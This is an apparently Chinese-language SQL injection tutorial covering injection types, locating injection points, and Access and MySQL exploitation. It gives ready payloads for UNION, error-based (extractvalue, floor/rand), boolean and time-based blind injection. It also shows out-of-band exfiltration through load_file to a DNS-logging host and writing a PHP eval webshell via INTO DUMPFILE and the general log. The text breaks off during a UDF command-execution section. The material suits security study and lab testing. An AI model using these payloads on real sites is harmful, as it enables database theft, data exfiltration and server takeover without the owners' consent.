简介

OWASP-TopTen.png

人家传什么数据应用就接受什么,如果写一些 SQL 语句呢?更专业一点来讲,SQL 注入是把用户输入的 SQL 语句拼接到现有程序 SQL 中,更改了程序的逻辑导致 SQL 执行成功。

《白帽子讲 Web 安全》提到注入漏洞的本质是数据与代码的边界没做分离

接下来看个简单案例,了解注入怎么产生。

下面 asp 代码没对 GET 参数 id 做任何处理,也就是说有注入。

<%
    id = request("id") '用GET方法接受参数id
    sql = "SELECT * FROM product where id ="&id '将接收过来的参数与 SQL 语句连接起来
    setrs = conn.execute(sql) '执行 SQL 语句
%>

此时在参数后面加上单引号就会报错,%27 是被 URL 编码过的单引号。在数据库中查询 SELECT * FROM product where id = 123' id 是 123' 这个会出错,单引号都是成对出现的数据库认为你是语法错误所以报错啦,另外我们注入时用的是 SQL 语句,写的时候要符合语法。

http://localhost/Production/PRODUCT_DETAIL.asp?id=1513%27

error.png

那注入能有什么危害呢?攻击者可以执行自己想要的 SQL 语句,就有这几种危害,1.查询数据,2.使用存储过程/SQL 函数来提权,3.绕过程序逻辑进行无密登录等操作。

整个测试流程如下:
找到注入点 --> 判断当前查询列数 --> 查询当前使用的库 --> 查询表 --> 查询字段 --> 查询数据/绕过登录/GetShell/提权

注入分类

以前有人将 SQL 注入分为 GET 型注入POST 型注入登录框注入Cookie 注入 这种分类方式称谓多到爆,不方便记忆,下面是一些总结——参考了 sqlmap 文档中技术分类。

最终本文会常用到以下分类方法。

  • 显注,SQL 语法错误能够显示,你用 SQL 操作的数据能作为内容能够返回到页面。

    • UNION query SQL injection(联合查询注入),同时查 A 又查 B 字段,查询结果一般都是返回给前端。
    • Error-based SQL injection(报错型注入),使用函数报错注入。
    • Stacked queries SQL injection(堆叠查询注入)堆叠注入可一次执行多条语句,使用 ; 结束前一条语句。
  • 盲注,统一规范了错误返回,只能靠构造逻辑来判断返回状态。

    • Boolean-based blind SQL injection(布尔型注入)。
    • Time-based blind SQL injection(基于时间延迟注入),也有叫延迟注入。
    • Stacked queries SQL injection(堆叠查询注入)。

其他分类呢,根据 HTTP 协议请求方法分类为 GET、POST,根据注入位置(HTTP 请求头)可分类为 Cookie、UserAgent、X-Forward-For、GET/POST Parameter,根据数据类型称呼为:数字型、字符型。

发现注入点

最难的是发现注入点,你知道这个地方有漏洞再进行利用,这个可以根据每个数据库自身的特性来进行检测,本文会涉及
MySQLSql ServerOraclePostgreSQL 这几种关系型数据库漏洞发现到利用。

显注就是得让它显示错误信息。

  • 输入单/双引号发现服务器返回 500 或是 返回 200 但是数据不正确,可以闭合你的单引号,例如 %23'''-'',可以尝试使用多种 URL 编码来变换,以此来判断是否篡改了 SQL。
    其中 -'' ,减 '' 空字符串在 MySQL 中查询居然不报错。
  • 对于参数值时数字时 SQL 中肯定不包含引号,可以用 +-*/ 来看看对应数值有没参与运算,如:id=3-1 结果应该是 id=2,判断是否做了减法(要注意在地址栏里输入 + 要URL编码)。
  • 在参数后面使用 \ 报错就可能存在注入,因为可能会把正常 SQL 中字符被转义,如果是数字型直接带一个转义符 SQL 也会报错。
  • 参数后面使用 --+'/*a*//*%23%27 注释符来看 Payload 或正常语句是否被注释掉。
    MySQL注释:--a/**/# 其中 -- 后面需要加上一个空格或者其他字符,否则注释不生效。Oracle/SQL Server注释:--/**/

盲注就直接构造逻辑运算,让整个查询按照逻辑得到一个正确结果来证明 SQL 语句被操控。

  • and 1=1 / and 1=2

由于每个数据库都有不同的函数来进行显注、盲注,更详细的内容往下看。

发现注入这里有篇好文:Manual SQL injection discovery tips,发现注入的方法和示例很受启发。

Access

联合查询(Mysql也可用)

Access属于暴力猜解(枚举),也就是说你不知道它的管理员账号密码在数据库中存放在哪你就无法获取数据,Access数据库的结构是表名-->字段名-->数据,最后才是数据。如果找不到表就算存在SQL注入也无法进行获取数据,下面的exists函数意思是查询hack表里的所有字段,如果有就为真,没有就为假,因此可以判断是否有hack这个表,and需要两边的条件都为真才执行,星号可以替换成要查的字段名。

SELECT * FROM news where id=1 and exists(SELECT * FROM admin);
-- and前面的语句肯定为True,那么就看and后面的注入语句是否为True啦,如果页面返回正常说明exists中查询语句有结果,这样就可以判断admin存在。光确认表还不行,还需要获取它存放数据的字段名,有了字段名才能获取数据。

SELECT * FROM news where id=1 and exists(SELECT password FROM admin);
-- 查询admin表中是否有password字段,有就不报错那我们就判断它这个字段(通常放置密码)存在,
猜用户名字段(username)也是一样。

常见表名

  • admin、user、adminuser、manage、manage_user

常见字段名

  • 账号:name、username、user_name、admin、adminuser、admin_user、admin_username、adminname
  • 密码:password、pass、userpass、user_pass、pwd、userpwd、adminpwd、admin_pwd

获取到表名、用户名字段、密码字段后接下来就获取字段长度,为什么要获取字段长度?在注入时得将两条语句一起执行用的是UNION SELECT,这条语句是需要左右两条SQL语句的字段数相同否则就报错,我们怎么判断正常SQL语句的有多少字段呢?下面的语句上场了。

order by 是用于给字段排序的,用数字可以代表第几个字段,order by 2 它就按照第二个字段来升序(默认升序),也可以用字段名来排序如:order by id,title,排序要是输入数字大于表中字段总数就会报错,这样就可以判断它字段长度。推荐用二分查找从大往小的找,比如 20 不对就查 10,10 不对查 5 以此类推。如果用不了 ORDER BY 就略过这一步直接用联合查询也可。

ORDER BY 11

确定字段数后就用 UNION SELECT 联合查询,这个语句可以将左右两条 SQL 语句拼接成一条 SQL 语句来执行。

UNION SELECT 后面跟上你要查的字段以及表,上面你爆出来了字段数是 11 可是我们判断出了 2 个字段(username,password),可是联合查询需要左右字段数相同唉这到底要怎样...喂喂喂!莫慌在这里左边是 11 个,我们只有 2 个字段不足的可以用 NULL 来代替,这个 NULl 意指数据类型,如果填数字就很有机率出现类型不匹配显示错误,NULL 呢代表任意类型,减少出现错误的可能。

我们爆出可显字段,因为有些字段是不显示内容,能够显示内容的字段称为可显字段,将可显字段替换为我们猜到的字段就可以获取数据啦。

SELECT * FROM news WHERE id=1 UNION SELECT NULL,username,passord,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM admin

逐字猜解

确认过表与字段后就直接确定字段的数据长度。

and (SELECT top 1 len(字段) FROM 表名)=长度数字 -- len方法用来统计字段数据的长度

数据长度确定后接着来比对每一位数据的 ASCII 编码,如果正确页面返回正常表示与 ASCII 值匹配,错误就是不对。

and (SELECT top 1 asc(mid(列名,第几位,1)) FROM 表名)=asc

SELECT top 1 查询第一行记录,值是 asc 方法编码后的 ASCII 编码,其中的 mid 方法第一个值是你要操作的字符串,第二个值是你要对这个字符串第几位开启操作,第三个值是取几位。比如我要操作的字符串是 admin 从第二位开始操作取一位值就是d。

ASCII

偏移注入

待补充.....

MySQL

MySQL 注入主要针对 INFORMATION_SCHEMA 元数据库来查询整个数据库结构,此数据库只在 5.0 及以上版本才有,MySQL 和前面 ACCESS 数据库结构差不多,数据库--->数据表--->字段(列名)--->数据,下面表中是元数据库关键的表和字段。

表内的字段
information_schema.schemata1. schema_name 字段存放着所有数据库名
information_schema.tables1. table_schema 存放字段存放着所有数据库名
2. table_name 字段所有数据表的表名。
information_schema.columns1. column_ name 字段(存放所有字段名)
2. 在 columns 表中也有 table_name 字段,与上面 tables 表中的 table_name 字段重复,也是存放所有数据表的名字。
3. table_schema 一样存放所有数据库名。

information_schema.tables,用点连接后面 tables 的意思是不打开(就是不用 use 到)元数据库来访问表。

另一个 5.0 及以上版本区别是,数据库账户所在的数据库 MySQL 所有账户信息存在 mysql.user 表中,其中 user/password 字段分别对应用户名/密码,在 MySQL >=5.7 user 表中密码字段名换成 authentication_string 存储,pasword 字段被剔除。

这张表存在 @@datadir 数据存放目录名为 user.MYD,找到账户从星号往后都是密码,这个加密方式除星号外一共是 40 位。加密方式官方文档只提到是用哈希加密,并没提到具体信息。

10.3.20-MariaDB 和 MySQL 5.7 版本,还是可以找到这个文件,在 MySQL 8.0 中则不存在——MySQL 5.7/8.0 由 PHPStudy 搭建。

MySql系统管理员表.png

下面是一些在注入需要用的 MySQL 函数环境变量查询示例(以@@开头的是数据库中环境变量,但在官网中叫做系统变量)。

函数

version() # 查询 MySQL 版本。
user()  # 查询数据库当前用户。
database() # 显示当前数据库名
concat() # 用于连接多个字符,默认以逗号分隔。需要注意数据有一个为 NULL 整体就返回 NULL。
concat_ws(separator, str1, str2) # 一样用于连接字符,第一个值是指定分隔符,如果分隔符为 NULL 整体返回 NULL,另外被拼接的字符串中有 NULL 则会跳过不返回这个数据。
group_concat(column_name) # 把查询结果连接到一起,默认使用逗号连接,它的返回字符限制在 1024 个。
char()  # 将十进制 ASCII 码转换为对应字符,可以用于绕过一些防护不严的 application。

环境变量

@@GLOBAL.VERSION # MySQL 版本
@@version # MySQL 版本
@@version_compile_os # 获取操作系统类型
    @@global.version_compile_os # 获取操作系统类型
@@version_compile_machine # 服务器系统架构
@@hostname # 显示服务器主机名
@@datadir  # 数据库数据存储路径。
@@basedir # 数据库安装路径

显注

联合查询注入

首先判断注入点,接着判断出字段数。

orderby x 

通过联合查询爆出可显字段,如果被正常查询内容给占住,可以吧正常参数改为一个不存在的内容。

UNION SELECT 字段数,字段数,字段数

查询信息(为下一步渗透做准备),如果版本不>=5.0(现在基本都是 5.0 以上啦) 就只能和 Access 一样猜。

UNION SELECT version(),user(),database()

这段语句是从 information_schema.schemata 表查询 schema_name 字段数据(该字段存放所有数据库名),这里要查的 schema_name 字段要替换到可显字段中避免语法错误,下面操作也是如此。

UNION SELECT schema_name FROM  information_schema.schemata

上面用 version() 函数我们假设获取到了名为 sqli 的数据库,管理员表通常放在网站当前使用的数据库中。前面介绍了 information 这个库,下面来看看怎么快速获取数据。

用联合查询查 sqli 数据库下的所有表名,注意库名是加了 引号,内容假设获取到了 admin 表。

UNION SELECT table_name FROM information_schema.tables where table_schema='sqli'

information_schema.columns 表查询 column_name 字段(所有字段名),条件是 table_name 字段中数据为 admin,如果是查询其他数据库表内字段,条件就要改一下,指定你要查的数据库,如果不指定就是查询当前使用的数据库

数据表名字要 16 进制编码不然可能会报错(有些站点测试时用引号包起来也没报错),假设这里查到了
usernamepassword 字段名。

还有种情况是字段在页面上显示的零零散散或是只显示一条数据,可以用 group_concat(column_name) 函数连接查询结果,除了这个函数也可以使用 limit 一条条获取数据。

UNION SELECT column_name FROM information_schema.columns where table_schema='sqli' and table_name='admin'

当我们知道了数据库、表、字段后可直查数据。

UNION SELECT username,password,3 FROM sqli.admin
# 查询在 sqli 库中查 admin 表中的字段内容

UNION SELECT concat(username,0x3a,password),null,3 FROM admin
# 在当前使用的库中查询 admin 表内字段,concat 把两个字段内容显示在一行里,中间的0x3a(:)ASCII HEX 编码。
# 如果只显示一条数据可以使用 limit 0, 1 一条一条的获取数据。

有时候数据不显示就可以用 unhex(hex(字段名)) 避免编码不一致导致数据不显示。

另外在 order byunion 无法使用时可到 Burp Intruder 模块进行猜解。

and column_name is null #猜列名,当is null为True,页面返回正常,列名不存在Mysql会报错。
and 表名.列名 is null #猜到列名后就可以猜表名,与上一条语句相同。
and (SELECT count(*) FROM table_name)>0 #判断这个表内有没有列,有就证明表存在,表不存在MySQL返回错误信息。
or 字段='字段数据' #直接查数据,or 只要一个为真就会返回真。
or 字段 like %a% #这样就会返回字段内容包含a的数据。
or user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99' #只要账号密码这两个字段内容对的,就会返回True,并在可显字段上显示出来。

报错注入

当页面无法回显内容时通过报错信息来得到数据。

1.使用两个操作 XML 函数的 Xpath 报错信息得到数据,两个函数分别是:ExtractValue(xml_frag, xpath_expr)用来查找 xml 数据,UpdateXML(xml_target, xpath_expr, new_xml) 更正 xml 数据。

extractvalue 函数错误信息返回限制在 32 个字符,无法全部显示数据时可以用字符串截取函数分批获取数据。
在 Payload 使用 concat 原因是 extractvalue 第二个参数需要用 XPath 语法查找 xml 数据,如果查询的数据中包含正常语法的话,很可能把部分数据吞掉,所以给一个错误字符让它无法识别。

mysql> SELECT extractvalue(1, concat(0x7e, (SELECT @@version)));
ERROR 1105 (HY000): XPATH syntax error: '~8.0.12'```
mysql> SELECT UpdateXML(0x3c613e3c2f613e, 0x2f61, (SELECT @@version));
+---------------------------------------------------------+
| UpdateXML(0x3c613e3c2f613e, 0x2f61, (SELECT @@version)) |
+---------------------------------------------------------+
| 8.0.12                                                  |
+---------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select updatexml(null, concat(0x7e, (select @@version)),null);
ERROR 1105 (HY000): XPATH syntax error: '~8.0.12'

2.使用 floor() 和 rand()

rand()group by 一起用会产生主键冲突错误。

常见 Payload 如下。

SELECT count(*) FROM information_schema.tables group by concat((SELECT version()), floor(rand(0)*2))

SELECT count(*),concat(version(),floor(rand(0)*2))x FROM information_schema.tables group by x;

SELECT host,user FROM mysql.user where user='root' and (SELECT count(*) FROM information_schema.tables group by concat(floor(rand(0)*2),(SELECT user())));

SELECT host,user FROM mysql.user where user='root' and (SELECT 1 FROM (SELECT count(*),concat(floor(rand(0)*2),(SELECT concat(' # ',database(),' # ',user(),' # ',version())))a FROM information_schema.tables group by a)b); # 结尾 SELECT 1 FROM (...)b,这个 b 是必须要给的别名,使用临时表是必须给别名。

下面先了解 Payload 中使用的函数。

rand([N]) 默认返回 0 到 1.0 之间的伪随机数,如果给出参数 N 这个种子,则会根据种子模拟出相同数据。

mysql> SELECT rand(); 
+--------------------+ 
| rand()             | 
+--------------------+ 
| 0.7502175222618669 | 
+--------------------+ 
1 row in set (0.01 sec)    

mysql> SELECT rand();  
+---------------------+
| rand()              |
+---------------------+
| 0.04056899812125508 |
+---------------------+
1 row in set (0.00 sec)
                       
mysql> SELECT rand(10);
+--------------------+ 
| rand(10)           | 
+--------------------+ 
| 0.6570515219653505 | 
+--------------------+ 
1 row in set (0.00 sec)
                       
mysql> SELECT rand(10);
+--------------------+ 
| rand(10)           | 
+--------------------+ 
| 0.6570515219653505 | 
+--------------------+ 
1 row in set (0.00 sec)              

floor(x) 向下取整,可以理解为计算结果不会超过提供的参数值 x。

mysql> SELECT floor(2.1212);
+---------------+
| floor(2.1212) |
+---------------+
|             2 |
+---------------+
1 row in set (0.00 sec)

mysql> SELECT floor(1.1212);
+---------------+
| floor(1.1212) |
+---------------+
|             1 |
+---------------+
1 row in set (0.00 sec)

group by 用于对某列下的数据进行分组,说简单点就是把相同数据分到一组中去。

mysql> SELECT * FROM user;                          
+----+--------+                                     
| id | name   |                                     
+----+--------+                                     
|  1 | jams   |                                     
|  2 | test   |                                     
|  3 | simple |                                     
|  4 | simple |                                     
+----+--------+                                     
4 rows in set (0.00 sec)                            
                                                    
mysql> SELECT name FROM user group by name;         
+--------+                                          
| name   |                                          
+--------+                                          
| jams   |                                          
| test   |                                          
| simple |                                          
+--------+                                          
3 rows in set (0.00 sec)                            
                                                    
mysql> SELECT count(*),name FROM user group by name;
+----------+--------+                               
| count(*) | name   |                               
+----------+--------+                               
|        1 | jams   |                               
|        1 | test   |                               
|        2 | simple |                               
+----------+--------+                               
3 rows in set (0.00 sec)

group byrandcount、结合会产生一个键重复错误。

mysql> SELECT floor(rand(0)*2)x, count(*) FROM information_schema.tables group by x limit 0, 5;
ERROR 1022 (23000): Can't write; duplicate key in table 'C:\Users\gbb\AppData\Local\Temp\#sql4914_e_1'

rand(0)*2 能得到 0 到 2 以内的 float number(就是零到一点几的小数),再用 floor() 向下取整结果不是 0 就是 1。

mysql> SELECT rand(0)*2, floor(rand(0)*2) FROM information_schema.tables limit 0, 5;
+--------------------+------------------+
| rand(0)*2          | floor(rand(0)*2) |
+--------------------+------------------+
| 0.3104408553898715 |                0 |
|  1.241763483026776 |                1 |
| 1.2774949104315554 |                1 |
| 0.6621841645447389 |                0 |
| 1.4784361528963188 |                1 |
+--------------------+------------------+
5 rows in set (0.00 sec)                                       

rand()rand(0) 为什么使用 rand(0) 呢,前面提到它会生成一个固定的值,我们就是要靠这个重复值进行报错,如果使用默认值报错就是一个随机状态。

x 是主键,这个 xfloor(rand(0)*2) 的别名,直接把别名替换成语句也是可以的。

mysql> SELECT floor(rand()*2) x, count(*) FROM information_schema.tables group by x;
ERROR 1022 (23000): Can't write; duplicate key in table 'C:\Users\gbb\AppData\Local\Temp\#sql3f54_12_4'
mysql> SELECT floor(rand()*2) x, count(*) FROM information_schema.tables group by x;
+---+----------+
| x | count(*) |
+---+----------+
| 0 |      157 |
| 1 |      142 |
+---+----------+
2 rows in set (0.00 sec)
mysql> SELECT floor(rand(0)*2) x, count(*) FROM information_schema.tables group by x;                   
ERROR 1022 (23000): Can't write; duplicate key in table 'C:\Users\gbb\AppData\Local\Temp\#sql3f54_13_1' 
mysql> SELECT floor(rand(0)*2) x, count(*) FROM information_schema.tables group by x;                   
ERROR 1022 (23000): Can't write; duplicate key in table 'C:\Users\gbb\AppData\Local\Temp\#sql3f54_13_2' 
mysql>                                                                                                  

实际执行上面语句时会产生一个临时表展示结果——也有人叫它虚拟表,过程是 group by 从原表里一条条读取数据,再到临时表中看这个主键存不存在,存在就在 count 上加 1,不存在就执行插入操作,当临时表内主键重复时就会报错。

下面临时表简称临表不再赘述。

执行 SELECT floor(rand(0)*2) x, count(*) FROM information_schema.tables group by x; 这条语句最终产生一个临表展示查询结果。

临表如何构建的?

GROUP BY 拿着原表 floor(rand(0)*2) 计算结果第一个值到临表查询,发现 Key 0 不存在就进行插入操作,此时插入 rand() 会再做一次计算(rand 在查询、插入分别做一次计算)得到结果值 1 直接插入,而不是直接插入 0。

为什么得到 1?rand() 给了 seed 后计算结果是可预测的,必然是 1。

xcount(*)
11

现在 GROUP BYfloor(rand(0)*2) 第二条计算结果 1,接着到临表中查询发现 x 有 1,那么就在 count 加上 1现在变成 2。

xcount(*)
12

GROUP BY 计算结果第三条记录值 0,主键不存在临表,执行插入操作,插入计算结果为 1,由于主键是不能重复的直接抛错。

为啥第三条是 0 不是 1?在第一次拿原表查询结果时得到 0,由于进行了插入操作 rand 重新计算,原表数据与临表数据不一致产生差异。

xcount(*)
12
1 Can't write; duplicate key

测试记录:

在 phpStudy8.1.1 的 Mysql 8.0.12 上发现不会爆出主键信息,5.7.26 则测试正常

mysql> SELECT floor(rand(0)*2) x, count(*) FROM information_schema.tables group by x; SELECT version();
ERROR 1062 (23000): Duplicate entry '1' for key '<group_key>'                                          
+-----------+                                                                                          
| version() |                                                                                          
+-----------+                                                                                          
| 5.7.26    |                                                                                          
+-----------+                                                                                          
1 row in set (0.00 sec)

mysql> SELECT floor(rand(0)*2) x, count(*) FROM information_schema.tables group by x; SELECT version();
ERROR 1022 (23000): Can't write; duplicate key in table 'C:\Users\gbb\AppData\Local\Temp\#sql46e0_8_1'
+-----------+
| version() |
+-----------+
| 8.0.12    |
+-----------+
1 row in set (0.00 sec)                                                 

这条 Payload 其中 count(*) 如果去掉的话也无法触发错误

mysql> SELECT floor(rand(0)*2) x FROM information_schema.tables GROUP BY x;
+---+
| x |
+---+
| 0 |
| 1 |
+---+
2 rows in set (0.00 sec)

floor(rand(0)*2) 小于 3 条数据无法触发错误,

mysql> SELECT * FROM user;
+----+--------+
| id | name   |
+----+--------+
|  2 | test   |
|  3 | simple |
+----+--------+
2 rows in set (0.00 sec)

在构建临表时从原表查询到第一条数据由于虚拟表中不存在,插入时重新计算得到 1,随后查询原表第二条数据得到 1,发现临表中存有主键 1,直接在 count 上加一,主键没办法重复。

mysql> SELECT floor(rand(0)*2) FROM user;
+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
|                1 |
+------------------+
2 rows in set (0.00 sec)
mysql> SELECT count(*), floor(rand(0)*2) x FROM user group by x;
+----------+---+
| count(*) | x |
+----------+---+
|        2 | 1 |
+----------+---+
1 row in set (0.00 sec)

如果是 floor(rand()*2) 呢?只需要两条数据即可。

mysql> SELECT * FROM user;
+----+-------+
| id | name  |
+----+-------+
|  2 | test2 |
|  1 | test  |
+----+-------+
2 rows in set (0.00 sec)

通过查询能得到以下组合结果。实际构建虚拟表时,第一次插入的值不是 0 就是 1,那么第二次计算结果与第一次插入值不相同,插入时重新计算与原表不一致则会发生主键重复错误。

mysql> SELECT floor(rand()*2) FROM user;            
+-----------------+                                 
| floor(rand()*2) |                                 
+-----------------+                                 
|               1 |                                 
|               0 |                                 
+-----------------+                                 
2 rows in set (0.00 sec)                            
                                                    
mysql> SELECT floor(rand()*2) FROM user;            
+-----------------+                                 
| floor(rand()*2) |                                 
+-----------------+                                 
|               0 |                                 
|               1 |                                 
+-----------------+                                 
2 rows in set (0.00 sec)                            
                                                    
mysql> SELECT floor(rand()*2) FROM user;            
+-----------------+                                 
| floor(rand()*2) |                                 
+-----------------+                                 
|               0 |                                 
|               0 |                                 
+-----------------+                                 
2 rows in set (0.00 sec)                            
                                                    
mysql> SELECT floor(rand()*2) FROM user;            
+-----------------+                                 
| floor(rand()*2) |                                 
+-----------------+                                 
|               1 |                                 
|               1 |                                 
+-----------------+                                 
2 rows in set (0.00 sec)

3.exp()
通过取反得到一个超大的数值让 exp 报错,具体好像只返回原本错误查询语句,没有错误信息被爆出来。

exp(~(SELECT database()))

盲注

对于盲注我的理解是,不显示错误信息怎么注入。

常用函数

常用函数介绍示例,可以去官方查找 Reference 获得更多类似功能函数为绕 WAF 做好准备。

substr(a,b,c) a 截取谁,b 从哪开始截,c 总共要截取多少,截取顺序是从左往右。
    mid() 用法与 substr 一致
    substring 用法同上
count() 计算数据条数
ascii() 将字符转为 ASCII
    ord() 和 ascii 一样返回字符返回十进制 ASCII 码,多字节字符除外。
length() 计算字符长度
left(a,b) a 截取对象,b 截取多长的字符,截取顺序是从左往右。

布尔注入

可能只是不显示错误但不代表没执行,这种情况可以构建逻辑来判断。

最常见的就是 and 1 = 1and 1 = 0 这种,让前后判断布尔值来决定是否能查询到内容。

mysql> SELECT if(1=1, (SELECT sleep(5)), 2);
+-------------------------------+
| if(1=1, (SELECT sleep(5)), 2) |
+-------------------------------+
|                             0 |
+-------------------------------+
1 row in set (5.00 sec)

mysql> SELECT case when (1=1) then (SELECT sleep(5)) else 2 end;
+---------------------------------------------------+
| case when (1=1) then (SELECT sleep(5)) else 2 end |
+---------------------------------------------------+
|                                                 0 |
+---------------------------------------------------+
1 row in set (5.00 sec)

mysql>

if() 第一个参数是表达式,第二个参数是表达式成立后执行,第三个参数是不成立执行。这用 mid 截取 user() 结果的第一个字符,等于 r 就延迟 5 秒(返回 False),否则就返回 1(1=True,0=False)

' and if(mid(user(),1,1)='r',sleep(5),1)--+

延时注入

sleep(duration) 当前停止运行 n 秒。
benchmark(count,expr) 执行 expr count 次

and length(database())=5 and sleep(5) -- 判断数据库名称长度是不是 5 个字符。
and substr(database(),1,1)='r' and sleep(5) -- 用 substr() 截取 1 位字符判断字符是不是 r,是就 sleep 5 秒。d
and ascii(substr(database(),1,1))=114 and sleep(5) -- 用 substr 截取 1 位字符最后转成 ASCII 码来比较字符对不对。
and ord(mid((database()),1,1))=114 and sleep(5) -- 作用同上只不过换成功能相同的函数啦
and if(ascii(mid(SELECT database(),1,1))))
and if((ascii(mid((SELECT user()),1,1))=114),sleep(5),1) -- 取 user 第一位字符看是不是 r,是的话就 sleep 5 秒,不是则返回 1,1 就等于 True。

Out Of Band

OOB 全称 Out Of Band。

使用 CEYEDNSLog 在线 DNS 日志展示平台来进行数据带外攻击,减少盲注等待时间,直接通过 DNS 和 HTTP 请求获取数据。

OOB 要使用 load_file() 函数读取任意文件内容需要 secure_file_priv 系统变量值为空,值是 NULL 表示禁用,值如果为路径则只能读取此目录内文件。

使用 SHOW VARIABLES LIKE "secure_file_priv"; 查看设定值。

mysql> SHOW VARIABLES LIKE "secure_file_priv";
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+
1 row in set (0.00 sec)

读取失败时是显示 NULL / 0x,其原因是 secure_file_priv 指定的路径限制住,或是当前数据库用户没有权限读取目标文件。

此系统变量官网文档描述 MySQL ≤5.6.33 版本值默认为 Empty,在 8.0.12 是 NULL,而 MariaDB 则默认是空字符串,直接能够使用(只测了 10.3.20 版本)。

secure_file_priv

  • Description: LOAD DATA, SELECT ... INTO and LOAD FILE() will only work with files in the specified path. If not set, the default, or set to empty string, the statements will work with any files that can be accessed.
  • Commandline: --secure-file-priv=path
  • Scope: Global
  • Dynamic: No
  • Data Type: path name
  • Default Value: None

如果目标是 Win 可以配合 UNC 来进行攻击。

mysql> SELECT load_file(concat("\\\\", (SELECT database()), ".xxxx.ceye.io/?d=", version()))result;
+--------+
| result |
+--------+
| NULL   |
+--------+
1 row in set (22.69 sec)
mysql> SELECT load_file(concat("//", (SELECT database()), ".xxxx.ceye.io/1.php?id=", version()))result;
+--------+
| result |
+--------+
| NULL   |
+--------+
1 row in set (22.12 sec)

mysql>

有一点需要注意

每级域名长度不能超过 63 个字符,整个域名长度不能超过 253 个字符。

那么大批量数据导出时需要用 substr/mid/substring/replace 等字符串函数截取数据然后使用 to_base64 编码分批次传输。

文件读写 GetShell

在盲注 OOB 中已经使用过 load_file('PATH') 啦,secure_file_priv 的值为 NULL 表示禁止执行导入导出,这里不再重复介绍。

可以尝试读一站点的各种配置文件信息。

通常一般配合读写来提权,要写入有前提条件

  1. 知道站点路径
  2. 需 ROOT 权限
  3. 目标目录有权限写入。
Shell into outfile PATH
Shell into dumpfile PATH

outfile 与 dumpfile 有区别,采用 outfile 写入一旦数据有 \t \n 这种数据会被当作终止符,dumpfile 则会写入原格式数据。通常写 Shell 或是文件时一般采用 dumpfile。

SELECT INTO OUTFILE writes the resulting rows to a file, and allows the use of column and row terminators to specify a particular output format. The default is to terminate fields with tabs (t) and lines with newlines (n).

SELECT INTO OUTFILE

UNION SELECT null, (0x3c3f706870) INTO DUMPFILE '/tmp/x.php
# 因为可能有 WAF,所以将 Shell 十六进制编码后上传,用文件包含去读取。

UNION SELECT username,password,3 FROM admin into outfile a.db
# 用 outfile 将数据内容导出来,进行下载。

写入时注意路径中的 /\\ 双反斜杠是因为在环境中是转义符的意思,也可以采用16进制编码(内容外不要引号)

MySQL 字符和十六进制能互换

mysql> SELECT 0x3136e8bf9be588b6e5928ce5ad97e7aca6e4b8b2e4ba92e68da2;
+--------------------------------------------------------+
| 0x3136e8bf9be588b6e5928ce5ad97e7aca6e4b8b2e4ba92e68da2 |
+--------------------------------------------------------+
| 16进制和字符串互换                                     |
+--------------------------------------------------------+
1 row in set (0.00 sec)

mysql>

日志写 Shell

利用场景:通过外联 MySQL 开启日志记录功能写入 Shell 至站点根目录。

mysql> show variables like '%general%';
+------------------+-----------------------+
| Variable_name    | Value                 |
+------------------+-----------------------+
| general_log      | OFF                   |
| general_log_file | /var/www/html/gbb.php |
+------------------+-----------------------+
2 rows in set (0.00 sec)

mysql> set global general_log_file = '/var/www/html/gbb.php';
Query OK, 0 rows affected (0.00 sec)

mysql> SELECT '<?php eval($_POST[gbb]);?>';
+----------------------------+
| <?php eval($_POST[gbb]);?> |
+----------------------------+
| <?php eval($_POST[gbb]);?> |
+----------------------------+
1 row in set (0.00 sec)

Shell 已经生成,权限显示 MySQL 生成,只能 MySQL 用户读取?那 WebServer 没权限读,后面没办法加个 Ohter 读取权限。实战遇到此情景,除了 MySQL 用 root 运行,不然无解。

root@e96008727104:/var/www/html# ls -dl /var/www/html/gbb.php &&  cat /var/www/html/gbb.php
-rw-rw----. 1 mysql mysql 837 Aug  8 10:55 /var/www/html/gbb.php
/usr/sbin/mysqld, Version: 5.5.47-0ubuntu0.14.04.1 ((Ubuntu)). started with:
Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock
Time                 Id Command    Argument
200808 10:52:31      454 Query    show variables like '%general%'
200808 10:52:35      454 Query    set global general_log_file = '/var/www/html/gbb.php'
/usr/sbin/mysqld, Version: 5.5.47-0ubuntu0.14.04.1 ((Ubuntu)). started with:
Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock
Time                 Id Command    Argument
200808 10:52:56      454 Query    '<?php eval($_POST[gbb]);?>'
200808 10:55:21      455 Connect    root@localhost on bWAPP
          455 Quit    
200808 10:55:44      456 Connect    root@localhost on 
          456 Init DB    bWAPP
          456 Query    SELECT * FROM movies WHERE title LIKE '%1'union SELECT 1,version(),user,password,5,6,7 from mysql.user-- %'
          456 Quit    
root@e96008727104:/var/www/html# chmod +r gbb.php

UDF 命令执行

UDF(User Defined Functions) 跟 Sql Server 存储过程一样,可以写个扩展功能直接在数据库中用。如果 MySQL 当前账户权限是 ROOT,通过写入 WebShell 上传 UDF,加载指定方法执行系统命令提权。

利用条件

MySQL 版本 >= 4.1.25/5.0.67

  1. 需要上传到 @@plugin_dir 定义的插件目录,@@plugin_dir 为空得传到以下目录

    @@datadir
    @@basedir\bin
    C:\windows
    C:\windows\system
    C:\windows\system32
  2. 当前用户对 @@plugin_dir 目录(此目录在测试中默认 owner 是 root 其他用户没有写入权限)或其他上传目录写入权限。
    Linux 下 @@plugin_dir 一般默认路径是

    /usr/lib/mysql/plugin/
    /usr/lib64/mysql/plugin/
    @@basedir/lib/mysql/plugin/
    @@basedir/lib64/mysql/plugin/

利用原理

pass

利用过程

根据系统和版本选择不同 UDF 下载:
https://github.com/sqlmapproject/sqlmap/tree/master/data/udf/mysql
https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql

如果在本地安装了工具可以在下面路径获得

  • sqlmap/data/udf/mysql
  • Metasploit-Framework/embedded/framework/data/exploits/mysql

实验环境

mysql> SELECT @@VERSION_COMPILE_MACHINE, @@VERSION_COMPILE_OS;
+---------------------------+----------------------+
| @@VERSION_COMPILE_MACHINE | @@VERSION_COMPILE_OS |
+---------------------------+----------------------+
| x86_64                    | debian-linux-gnu     |
+---------------------------+----------------------+
1 row in set (0.00 sec)

mysql> SELECT user(), @@VERSION, @@plugin_dir;
+----------------+-------------------------+------------------------+
| user()         | @@VERSION               | @@plugin_dir           |
